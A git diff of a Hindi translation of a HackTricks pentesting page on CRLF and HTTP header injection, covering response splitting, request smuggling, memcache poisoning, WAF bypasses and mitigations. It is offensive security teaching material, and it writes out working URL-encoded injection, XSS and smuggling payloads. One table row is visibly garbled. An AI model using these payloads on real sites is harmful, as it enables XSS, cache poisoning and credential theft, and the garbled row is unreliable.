Translated ['src/pentesting-web/crlf-0d-0a.md'] to hi

This commit is contained in:
Translator 2025-07-16 16:11:53 +00:00
parent 30efc3f89c
commit 44f1db3b0e

View File

@ -4,11 +4,11 @@
### CRLF
कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे सामूहिक रूप से CRLF के रूप में जाना जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए उपयोग किए जाने वाले विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं।
कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे मिलाकर CRLF कहा जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं।
### CRLF Injection Vulnerability
CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता को गलत तरीके से प्रेरित करती है कि इंजेक्ट किया गया अनुक्रम एक प्रतिक्रिया के अंत और दूसरी की शुरुआत के रूप में व्याख्यायित किया जाए। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं होते, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है।
CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता को गलत तरीके से यह समझाने के लिए प्रेरित करती है कि सम्मिलित अनुक्रम एक प्रतिक्रिया के अंत और दूसरी की शुरुआत है। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं हैं, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है।
### Example: CRLF Injection in a Log File
@ -22,14 +22,14 @@ CRLF इंजेक्शन में उपयोगकर्ता द्व
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
यहाँ, `%0d` और `%0a` CR और LF के URL-कोडित रूपों का प्रतिनिधित्व करते हैं। हमले के बाद, लॉग भ्रामक रूप से प्रदर्शित होगा:
यहाँ, `%0d` और `%0a` CR और LF के URL-कोडित रूपों का प्रतिनिधित्व करते हैं। हमले के बाद, लॉग भ्रामक रूप से प्रदर्शित करेगा:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को `%0d%0a` से शुरू होने वाले एकल पैरामीटर के रूप में व्याख्या करता है, जबकि `restrictedaction` पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: `/index.php?page=home&restrictedaction=edit`
हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को, जो `%0d%0a` से शुरू होता है, एकल पैरामीटर के रूप में व्याख्यायित करता है, जबकि `restrictedaction` पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting
@ -40,8 +40,8 @@ HTTP Response Splitting एक सुरक्षा कमजोरी है
#### HTTP Response Splitting के माध्यम से XSS
1. एप्लिकेशन एक कस्टम हेडर सेट करता है जैसे: `X-Custom-Header: UserInput`
2. एप्लिकेशन `UserInput` के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी े परिदृश्यों में, एक हमलावर एक पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल होता है, उसके बाद दुर्भावनापूर्ण सामग्री होती है।
3. एक हमलावर एक विशेष रूप से तैयार 'user_input' के साथ एक URL तैयार करता है: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
2. एप्लिकेशन `UserInput` के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी वाले परिदृश्यों में, एक हमलावर एक पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल होता है, उसके बाद दुर्भावनापूर्ण सामग्री होती है।
3. एक हमलावर एक विशेष रूप से तैयार की गई 'user_input' के साथ एक URL तैयार करता है: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- इस URL में, `%0d%0a%0d%0a` CRLFCRLF का URL-कोडित रूप है। यह सर्वर को CRLF अनुक्रम डालने के लिए धोखा देता है, जिससे सर्वर बाद के भाग को प्रतिक्रिया शरीर के रूप में मानता है।
4. सर्वर हमलावर के इनपुट को प्रतिक्रिया हेडर में दर्शाता है, जिससे एक अनपेक्षित प्रतिक्रिया संरचना उत्पन्न होती है जहां दुर्भावनापूर्ण स्क्रिप्ट को ब्राउज़र द्वारा प्रतिक्रिया शरीर के भाग के रूप में व्याख्यायित किया जाता है।
@ -61,9 +61,9 @@ Location: http://myweb.com
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### In URL Path
#### URL पथ में
आप **URL पथ के अंदर** पेलोड भेज सकते हैं ताकि आप सर्वर से **प्रतिक्रिया** को नियंत्रित कर सकें (उदाहरण [यहां](https://hackerone.com/reports/192667)):
आप **URL पथ के अंदर** पेलोड भेज सकते हैं ताकि सर्वर से **प्रतिक्रिया** को नियंत्रित किया जा सके (उदाहरण [यहां](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
@ -78,7 +78,7 @@ HTTP Header Injection, जिसे अक्सर CRLF (Carriage Return and Li
#### HTTP Header Injection के माध्यम से CORS का शोषण
एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, संभावित रूप से संरक्षित डेटा तक पहुंच प्राप्त करता है।
एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, जिससे संरक्षित डेटा तक पहुंच संभव हो जाती है।
#### CRLF के माध्यम से SSRF और HTTP Request Injection
@ -123,7 +123,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना**: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के कचरे के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है:
2. **प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना**: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के बेकार के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
@ -137,19 +137,19 @@ Memcache एक **की-वैल्यू स्टोर है जो एक
**पूर्ण जानकारी के लिए पढ़ें**[ **मूल लेख**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
यदि एक प्लेटफ़ॉर्म **HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए** **memcache** सर्वर पर **अनुरोध** करने के लिए उपयोग कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **नए memcache कमांड्स** को **इंजेक्ट** कर सकता है।
यदि एक प्लेटफ़ॉर्म **HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए** एक **memcache** सर्वर पर **अनुरोध** करने के लिए उपयोग कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **नए memcache आदेशों को इंजेक्ट** कर सकता है।
उदाहरण के लिए, मूल खोजी गई भेद्यता में, कैश कुंजी का उपयोग उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने **memcache कमांड्स को इंजेक्ट** करने में सक्षम थे जो **कैश को ज़हर** देने के लिए **विज़िटर्स के विवरण** (उपयोगकर्ता नाम और पासवर्ड सहित) को हमलावर सर्वरों पर भेजते थे:
उदाहरण के लिए, मूल खोजे गए कमजोरियों में, कैश कुंजी का उपयोग उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने **memcache आदेशों को इंजेक्ट** करने में सक्षम थे जो **कैश को ज़हर** देते थे ताकि **पीड़ितों के विवरण** (उपयोगकर्ता नाम और पासवर्ड शामिल) हमलावर सर्वरों को भेजे जा सकें:
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रियित कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता थ:
इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रिय कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता थ:
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
### CRLF / HTTP हेडर इंजेक्शनों से वेब अनुप्रयोगों में कैसे बचें
### वेब अनुप्रयोगों में CRLF / HTTP हेडर इंजेक्शन को रोकने के लिए
वेब अनुप्रयोगों में CRLF (Carriage Return and Line Feed) या HTTP हेडर इंजेक्शनों के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:
वेब अनुप्रयोगों में CRLF (Carriage Return and Line Feed) या HTTP हेडर इंजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:
1. **प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट से बचें:** सबसे सुरक्षित दृष्टिकोण यह है कि उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सीधे प्रतिक्रिया हेडर में शामिल करने से बचें।
2. **विशेष वर्णों को एन्कोड करें:** यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (Carriage Return) और LF (Line Feed) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इंजेक्शन की संभावना को रोकती है।
@ -179,20 +179,57 @@ Memcache एक **की-वैल्यू स्टोर है जो एक
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
### हाल की कमजोरियाँ (2023 2025)
पिछले कुछ वर्षों में व्यापक रूप से उपयोग किए जाने वाले सर्वर- और क्लाइंट-साइड घटकों में कई उच्च-प्रभाव वाले CRLF/HTTP हेडर-इंजेक्शन बग उत्पन्न हुए हैं। इन्हें स्थानीय रूप से पुन: उत्पन्न करना और अध्ययन करना वास्तविक दुनिया के शोषण पैटर्न को समझने का एक उत्कृष्ट तरीका है।
| वर्ष | घटक | CVE / सलाह | मूल कारण | PoC हाइलाइट |
|------|-----------|---------------|------------|---------------|
| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | `AddHeader()` सहयक ने CR/LF नह िा, िससे RestSharp HTTP क्लइंट के रूप में उपय करते समय कई अनुर हेडर बनने अनुमति िी। उन-स्ट्र िस्टम SSRF अनुर स्मगलिंग के ि मजबूर ि सकत ा। | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | इंटरफेस विधियों पर हेडर विशेषताएँ अनुरोध में शाब्दिक रूप से कॉपी की गईं। `%0d%0a` को एम्बेड करके, हमलावर मनमाने हेडर या यहां तक कि एक दूसरा अनुरोध जोड़ सकते थे जब Refit को सर्वर-साइड कार्यकर्ता नौकरियों द्वारा उपयोग किया गया। | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
| 2023 | Apache APISIX डैशबोर्ड | **GHSA-4h3j-f5x9-r6x3** | उपयोगकर्ता द्वारा प्रदान किया गया `redirect` पैरामीटर बिना एन्कोडिंग के `Location:` हेडर में प्रतिध्वनित किया गया, जिससे ओपन रीडायरेक्ट + कैश पॉइज़निंग सक्षम हो गई। | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>` |
ये बग महत्वपूर्ण हैं क्योंकि ये **ऐप्लिकेशन-स्तरीय कोड** के अंदर सक्रिय होते हैं और केवल वेब-सरवर के किनारे पर नहीं। इसलिए, किसी भी आंतरिक घटक को जो HTTP अनुरोध करता है या प्रतिक्रिया हेडर सेट करता है, CR/LF फ़िल्टरिंग को लागू करना चाहिए।
### उन्नत यूनिकोड / नियंत्रण-चर बायपास
आधुनिक WAF/रीराइटर स्टैक्स अक्सर शाब्दिक `\r`/`\n` को हटा देते हैं लेकिन अन्य वर्णों के बारे में भूल जाते हैं जिन्हें कई बैक-एंड लाइन टर्मिनेटर के रूप में मानते हैं। जब CRLF को फ़िल्टर किया जाता है, तो प्रयास करें:
* `%E2%80%A8` (`U+2028` लाइन सेपरेटर)
* `%E2%80%A9` (`U+2029` पैरा सेपरेटर)
* `%C2%85` (`U+0085` अगली लाइन)
कुछ Java, Python और Go फ्रेमवर्क इनको हेडर पार्सिंग के दौरान `\n` में परिवर्तित करते हैं (2023 प्रेटोरियन अनुसंधान देखें)। इन्हें क्लासिक पेलोड्स के साथ मिलाएं:
```
/%0A%E2%80%A8Set-Cookie:%20admin=true
```
यदि फ़िल्टर पहले UTF-8 को सामान्य करता है, तो नियंत्रण वर्ण एक नियमित लाइन-फीड में बदल जाता है और इंजेक्ट किया गया हेडर स्वीकार कर लिया जाता है।
### WAF Evasion via Duplicate `Content-Encoding` Trick (2023)
Praetorian शोधकर्ताओं ने यह भी दिखाया कि इंजेक्ट करके:
```
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
```
into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the applications own content is inert. Because `Content-Encoding: identity` is allowed by RFC 9110, many reverse-proxies forward it unchanged.
## Automatic Tools
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) तेज सक्रिय स्कैनर जो Go में लिखा गया है।
* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) शब्दसूची-आधारित फज़्ज़र जो यूनिकोड नई पंक्ति पेलोड का समर्थन करता है।
* [crlfix](https://github.com/glebarez/crlfix) 2024 उपयोगिता जो Go प्रोग्राम द्वारा उत्पन्न HTTP अनुरोधों को पैच करती है और आंतरिक सेवाओं का परीक्षण करने के लिए स्वतंत्र रूप से उपयोग की जा सकती है।
## Brute-Force Detection List
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
- [carlospolop/Auto_Wordlists crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
## References
- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/)
- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/)
- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/)
- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
{{#include ../banners/hacktricks-training.md}}